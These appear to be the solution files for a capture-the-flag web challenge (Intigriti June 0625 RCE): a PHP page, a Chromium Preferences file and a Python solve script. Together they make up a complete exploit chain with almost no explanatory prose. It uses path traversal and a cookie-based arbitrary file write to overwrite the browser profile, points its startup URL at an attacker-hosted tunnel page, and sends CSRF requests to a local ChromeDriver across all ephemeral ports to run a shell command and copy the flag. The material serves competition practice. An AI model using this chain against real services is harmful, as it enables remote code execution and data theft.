Intigriti June RCE Challenge (0625) solution files

index.php

<?php
$suffix = $_GET['suffix'];
header("Content-Disposition: attachment; filename=\"xss_$suffix.html\"");
?>
<script>
  const options = {
    mode: "no-cors",
    method: "POST",
    body: JSON.stringify({
      capabilities: {
        alwaysMatch: {
          "goog:chromeOptions": {
            binary: "/usr/local/bin/python",
            args: ["-c", "__import__('os').system('cp /flag* /app/static/flag_<?= $suffix ?>.txt')"],
          },
        },
      },
    }),
  };
  // CSRF through all /proc/sys/net/ipv4/ip_local_port_range
  for (let port = 32768; port < 61000; port++) {
    fetch(`http://127.0.0.1:${port}/session`, options);
  }
</script>

Preferences

{"NewTabPage":{"PrevNavigationTime":"13394831693309674"},"accessibility":{"captions":{"headless_caption_enabled":false,"live_caption_language":"en-US"}},"account_tracker_service_last_update":"13394831693346966","alternate_error_pages":{"backup":false},"autocomplete":{"retention_policy_last_version":137},"autofill":{"last_version_deduped":137},"bookmark":{"storage_computation_last_update":"13394831693320575"},"browser":{"check_default_browser":false,"window_placement":{"bottom":590,"left":10,"maximized":false,"right":790,"top":10,"work_area_bottom":600,"work_area_left":0,"work_area_right":800,"work_area_top":0}},"commerce_daily_metrics_last_update_time":"13394831693321258","default_search_provider":{"guid":""},"distribution":{"import_bookmarks":false,"import_history":false,"import_search_engine":false,"make_chrome_default_for_user":false,"skip_first_run_ui":true},"dns_prefetching":{"enabled":false},"domain_diversity":{"last_reporting_timestamp":"13394831693322645"},"enterprise_profile_guid":"ae4f6927-6173-42f1-9067-cf6e9d7edca8","extensions":{"alerts":{"initialized":true},"chrome_url_overrides":{},"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"account_extension_type":0,"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"disable_reasons":[],"events":[],"first_install_time":"13394831693247515","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13394831693247515","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Chromium.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","permissions":["webstorePrivate","management","system.cpu","system.display","system.memory","system.network","system.storage"],"version":"0.2"},"needs_sync":true,"page_ordinal":"n","path":"/usr/lib/chromium/resources/web_store","preferences":{},"regular_only_preferences":{},"was_installed_by_default":false,"was_installed_by_oem":false},"mhjfbmdgcfjbbpaeojofohoefgiehjai":{"account_extension_type":0,"active_permissions":{"api":["contentSettings","fileSystem","fileSystem.write","metricsPrivate","tabs","resourcesPrivate","pdfViewerPrivate"],"explicit_host":["chrome://resources/*","chrome://webui-test/*"],"manifest_permissions":[],"scriptable_host":[]},"commands":{},"content_settings":[],"creation_flags":1,"disable_reasons":[],"events":[],"first_install_time":"13394831693248167","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13394831693248167","location":5,"manifest":{"content_security_policy":"script-src 'self' 'wasm-eval' blob: filesystem: chrome://resources chrome://webui-test; object-src * blob: externalfile: file: filesystem: data:","description":"","incognito":"split","key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDN6hM0rsDYGbzQPQfOygqlRtQgKUXMfnSjhIBL7LnReAVBEd7ZmKtyN2qmSasMl4HZpMhVe2rPWVVwBDl6iyNE/Kok6E6v6V3vCLGsOpQAuuNVye/3QxzIldzG/jQAdWZiyXReRVapOhZtLjGfywCvlWq7Sl/e3sbc0vWybSDI2QIDAQAB","manifest_version":2,"mime_types":["application/pdf"],"mime_types_handler":"index.html","name":"Chromium PDF Viewer","offline_enabled":true,"permissions":["chrome://resources/","chrome://webui-test/","contentSettings","metricsPrivate","pdfViewerPrivate","resourcesPrivate","tabs",{"fileSystem":["write"]}],"version":"1"},"path":"/usr/lib/chromium/resources/pdf","preferences":{},"regular_only_preferences":{},"was_installed_by_default":false,"was_installed_by_oem":false}}},"gaia_cookie":{"changed_time":1750358093.580248,"hash":"2jmj7l5rSw0yVb/vlWAYkK/YBwk=","last_list_accounts_data":"[\"gaia.l.a.r\",[]]"},"gcm":{"product_category_for_subtypes":"org.chromium.linux"},"google":{"services":{"signin_scoped_device_id":"a0453126-dce4-4ca1-a695-9a1eef591eea"}},"intl":{"selected_languages":"en-US,en"},"invalidation":{"per_sender_topics_to_handler":{"1013309121859":{}}},"media":{"engagement":{"schema_version":5}},"media_router":{"receiver_id_hash_token":"jYGa1wWXb/MrJQfDs3wUuBJm3uRrFn2cqqtIRdtCQ5XXiESSLsKnIbcuhZTWEtsPez1iCN25wCrUie1eXoNZoA=="},"ntp":{"num_personal_suggestions":2},"optimization_guide":{"hintsfetcher":{"hosts_successfully_fetched":{}},"previously_registered_optimization_types":{"ABOUT_THIS_SITE":true,"HISTORY_CLUSTERS":true,"LOADING_PREDICTOR":true,"MERCHANT_TRUST_SIGNALS_V2":true,"PRICE_TRACKING":true,"V8_COMPILE_HINTS":true},"store_file_paths_to_delete":{}},"password_manager":{"autofillable_credentials_account_store_login_database":false,"autofillable_credentials_profile_store_login_database":false},"pinned_tabs":[],"privacy_sandbox":{"first_party_sets_data_access_allowed_initialized":true,"first_party_sets_enabled":false,"m1":{"ad_measurement_enabled":false,"fledge_enabled":false,"topics_enabled":false}},"profile":{"avatar_index":26,"content_settings":{"exceptions":{"3pcd_heuristics_grants":{},"3pcd_support":{},"abusive_notification_permissions":{},"access_to_get_all_screens_media_in_session":{},"anti_abuse":{},"app_banner":{},"ar":{},"are_suspicious_notifications_allowlisted_by_user":{},"auto_picture_in_picture":{},"auto_select_certificate":{},"automatic_downloads":{},"automatic_fullscreen":{},"autoplay":{},"background_sync":{},"bluetooth_chooser_data":{},"bluetooth_guard":{},"bluetooth_scanning":{},"camera_pan_tilt_zoom":{},"captured_surface_control":{},"client_hints":{},"clipboard":{},"controlled_frame":{},"cookie_controls_metadata":{"http://localhost,*":{"last_modified":"13394831693569103","setting":{}}},"cookies":{},"direct_sockets":{},"direct_sockets_private_network_access":{},"display_media_system_audio":{},"disruptive_notification_permissions":{},"durable_storage":{},"fedcm_idp_registration":{},"fedcm_idp_signin":{"https://accounts.google.com:443,*":{"last_modified":"13394831693584510","setting":{"chosen-objects":[{"idp-origin":"https://accounts.google.com","idp-signin-status":false}]}}},"fedcm_share":{},"file_system_access_chooser_data":{},"file_system_access_extended_permission":{},"file_system_access_restore_permission":{},"file_system_last_picked_directory":{},"file_system_read_guard":{},"file_system_write_guard":{},"formfill_metadata":{},"geolocation":{},"hand_tracking":{},"hid_chooser_data":{},"hid_guard":{},"http_allowed":{},"https_enforced":{},"idle_detection":{},"images":{},"important_site_info":{},"insecure_private_network":{},"intent_picker_auto_display":{},"javascript":{},"javascript_jit":{},"javascript_optimizer":{},"keyboard_lock":{},"legacy_cookie_access":{},"legacy_cookie_scope":{},"local_fonts":{},"local_network_access":{},"media_engagement":{"http://localhost:1337,*":{"expiration":"13402607708226413","last_modified":"13394831708226419","lifetime":"7776000000000","setting":{"hasHighScore":false,"lastMediaPlaybackTime":0.0,"mediaPlaybacks":0,"visits":1}}},"media_stream_camera":{},"media_stream_mic":{},"midi_sysex":{},"mixed_script":{},"nfc_devices":{},"notification_interactions":{},"notification_permission_review":{},"notifications":{},"password_protection":{},"payment_handler":{},"permission_autoblocking_data":{},"permission_autorevocation_data":{},"pointer_lock":{},"popups":{},"private_network_chooser_data":{},"private_network_guard":{},"protocol_handler":{},"reduced_accept_language":{},"safe_browsing_url_check_data":{},"sensors":{},"serial_chooser_data":{},"serial_guard":{},"site_engagement":{"chrome://newtab/,*":{"last_modified":"13394831693373151","setting":{"lastEngagementTime":1.339483169337314e+16,"lastShortcutLaunchTime":0.0,"pointsAddedToday":3.0,"rawScore":3.0}},"http://localhost:1337,*":{"last_modified":"13394831693569696","setting":{"lastEngagementTime":1.3394831693569692e+16,"lastShortcutLaunchTime":0.0,"pointsAddedToday":3.0,"rawScore":3.0}}},"sound":{},"speaker_selection":{},"ssl_cert_decisions":{},"storage_access":{},"storage_access_header_origin_trial":{},"subresource_filter":{},"subresource_filter_data":{},"third_party_storage_partitioning":{},"top_level_3pcd_origin_trial":{},"top_level_3pcd_support":{},"top_level_storage_access":{},"tracking_protection":{},"unused_site_permissions":{},"usb_chooser_data":{},"usb_guard":{},"vr":{},"web_app_installation":{},"webid_api":{},"webid_auto_reauthn":{},"window_placement":{}},"pattern_pairs":{"https://*,*":{"media-stream":{"audio":"Default","video":"Default"}}},"pref_version":1},"creation_time":"13394831693070003","default_content_setting_values":{"geolocation":1},"default_content_settings":{"geolocation":1,"mouselock":1,"notifications":1,"popups":1,"ppapi-broker":1},"did_work_around_bug_364820109_default":true,"did_work_around_bug_364820109_exceptions":true,"exit_type":"Normal","family_member_role":"not_in_family","last_engagement_time":"13394831693569692","managed":{"locally_parent_approved_extensions":{},"locally_parent_approved_extensions_migration_state":1},"managed_user_id":"","name":"Your Chromium","password_manager_enabled":false},"protection":{"macs":{"browser":{"show_home_button":"904452986128BBEE5A7B1FFB8F342100C3150E3D9FD76C4105DF33EB021E22FD"},"default_search_provider_data":{"template_url_data":"575D258E47F940C6887685ABA99A5839CBFE4BA30863349DFE0D0C375AAB8816"},"enterprise_signin":{"policy_recovery_token":"7D3124ECAF7E96407EB65EAF5A43B02C7EE5F2D4A9FA38A9F371F9E1B74D6383"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":"DD2C1722C53CEFFE61E41E82596EC7BC59A6A571A2AB66FF36E2635810EB4E4A","mhjfbmdgcfjbbpaeojofohoefgiehjai":"761D5EEB4646B3543F5AB1556541EE76ECE7FD04F4892BDFEAA88A468DC3727F"},"ui":{"developer_mode":"55A29C051727FCAC1BDA847CCDE40838B2068CFA589E88819EA9FB17E4BD7320"}},"google":{"services":{"account_id":"E5B4CD7C5FA271A47D07D462465AFD63DBF6A8CDFAFEF4839D13F8F552131486","last_signed_in_username":"82DB8D884695C643C31778B7B50DBB376848E2F81B5A1AECDA34FD448CECD10D","last_username":"24FCEF9BF7DF12A2935BE143E58951E09DBAA1D3E0E24430C0FF93009F5D6AFD"}},"homepage":"B1E9FE8108A84F532486D13AAC43C0AFDA16D3DFC9EB2F743AEE11F89F2F163E","homepage_is_newtabpage":"3680F776D17E3C099431BAF5381FAB9BCC0C2C70FEA4C74D12324BC94A207119","media":{"storage_id_salt":"E1848263E6199A89D48A7FDF168364BF0F31246A18227F3D149D4088C7F4D667"},"pinned_tabs":"699F1AC92729A024B80605AFC3C63BFB2A35B70C4214581BBE108F851528E9E8","prefs":{"preference_reset_time":"95C909F3D0669D5931907B455F099C510E7770D9F0BA6FF13E4C76101B44F757"},"safebrowsing":{"incidents_sent":"569707D9A4676B72F48BE92B740BE3EF895419C8A646F1AE1BA70BD9C3B41845"},"search_provider_overrides":"1E1EBA3A4DC28A23BEFCF6ED5D71CE71E9814DD587A305F6B14F72E834AF75DD","session":{"restore_on_startup":"F9BD26F5D1AA6AB5258754888529CB2A82AE68D1703BCC2A97DEAEE5DDDA190E","startup_urls":"8BB8DBC1D7CA5C58F821C38254FB2B9C874F8EE9B9905B57DE48C731C6C91837"}}},"safebrowsing":{"enabled":false,"event_timestamps":{},"metrics_last_log_time":"13394831693","scout_reporting_enabled_when_deprecated":false},"safety_hub":{"unused_site_permissions_revocation":{"migration_completed":true}},"saved_tab_groups":{"did_enable_shared_tab_groups_in_last_session":false,"specifics_to_data_migration":true},"search":{"suggest_enabled":false},"segmentation_platform":{"client_result_prefs":"ClIKDXNob3BwaW5nX3VzZXISQQo2DQAAAAAQ4Z2eyfTQ5RcaJAocChoNAAAAPxIMU2hvcHBpbmdVc2VyGgVPdGhlchIEEAIYBCADELOensn00OUX","uma_in_sql_start_time":"13394831693243938"},"sessions":{"event_log":[{"crashed":false,"time":"13394831693243209","type":0},{"did_schedule_command":true,"first_session_service":true,"tab_count":1,"time":"13394831708224160","type":2,"window_count":1}],"session_data_status":5},"settings":{"force_google_safesearch":false},"signin":{"allowed":false,"cookie_clear_on_exit_migration_notice_complete":true},"sync":{"passwords_per_account_pref_migration_done":true},"syncing_theme_prefs_migrated_to_non_syncing":true,"tab_group_saves_ui_update_migrated":true,"toolbar":{"pinned_cast_migration_complete":true,"pinned_chrome_labs_migration_complete":true},"translate":{"enabled":false},"translate_site_blacklist":[],"translate_site_blocklist_with_time":{}}

solve.py

import json
import os
import requests

HOST = "http://localhost:1337"

s = requests.Session()

def register(username, password, s=s):
    r = s.post(HOST + "/api/register", json={
        "username": username,
        "password": password
    })
    assert r.ok
    return r.json()

def login(username, password, s=s):
    r = s.post(HOST + "/api/login", json={
        "username": username,
        "password": password
    })
    assert r.ok, r.text
    return r.json()

def download(filename, s=s):
    r = s.get(HOST + f"/download/%2e%2e/{filename}")
    assert r.ok, r.text
    return r.content

def upload(filename, content, s=s):
    r = s.post(HOST + "/api/notes/upload", files={
        "file": (filename, content)
    })
    assert r.ok, r.text
    return r.json()

def bot(url, s=s):
    r = s.post(HOST + "/api/visit", json={
        "url": url
    })
    assert r.ok, r.text
    return r.json()

def arbitrary_file_write(path, content):
    s = requests.Session()
    username = ".."
    password = "password"
    directory = os.path.dirname(path)
    filename = os.path.basename(path)
    s.cookies.set("INSTANCE", f"/../../../../..{directory}")
    try:
        print(register(username, password, s=s))
    except AssertionError:
        print("User already exists, skipping registration.")
    print(login(username, password, s=s))
    print(upload(filename, content, s=s))

if __name__ == "__main__":
    # Create initial directory
    username = "j0r1an"
    password = "j0r1an"
    suffix = os.urandom(8).hex()  # Random suffix for shared files
    print(register(username, password))
    print(login(username, password))
    print(bot("http://localhost:1337/"))
    instance_id = s.cookies.get("INSTANCE")
    print(f"{instance_id=}")
    # Arbitrary file write
    # TODO: Save `Preferences` in this gist in the same directory
    preferences = json.load(open("Preferences", "r"))
    preferences["session"] = {"restore_on_startup": 4, "startup_urls": [
        # TODO: Host `index.php` in this gist using a Cloudflare Quick Tunnel
        f"https://your-unique-subdomain.trycloudflare.com/?suffix={suffix}"]}
    preferences["download"] = {
        "default_directory": "/app/static"
    }
    content = json.dumps(preferences).encode()
    arbitrary_file_write(f"/app/instances/{instance_id}/chrome_profile/Default/Preferences",
                         content)

    # Overwritten `startup_urls` causes this to open our website
    print(bot("http://localhost:1337/"))

    # This has downloaded HTML into the /static directory, now XSS
    print("Trying to trigger XSS->RCE...")
    while True:
        print(bot(f"http://localhost:1337/static/xss_{suffix}.html"))
        r = requests.get(HOST + f"/static/flag_{suffix}.txt")
        if r.ok:
            print(f"\nFlag: {r.text.strip()}")
            break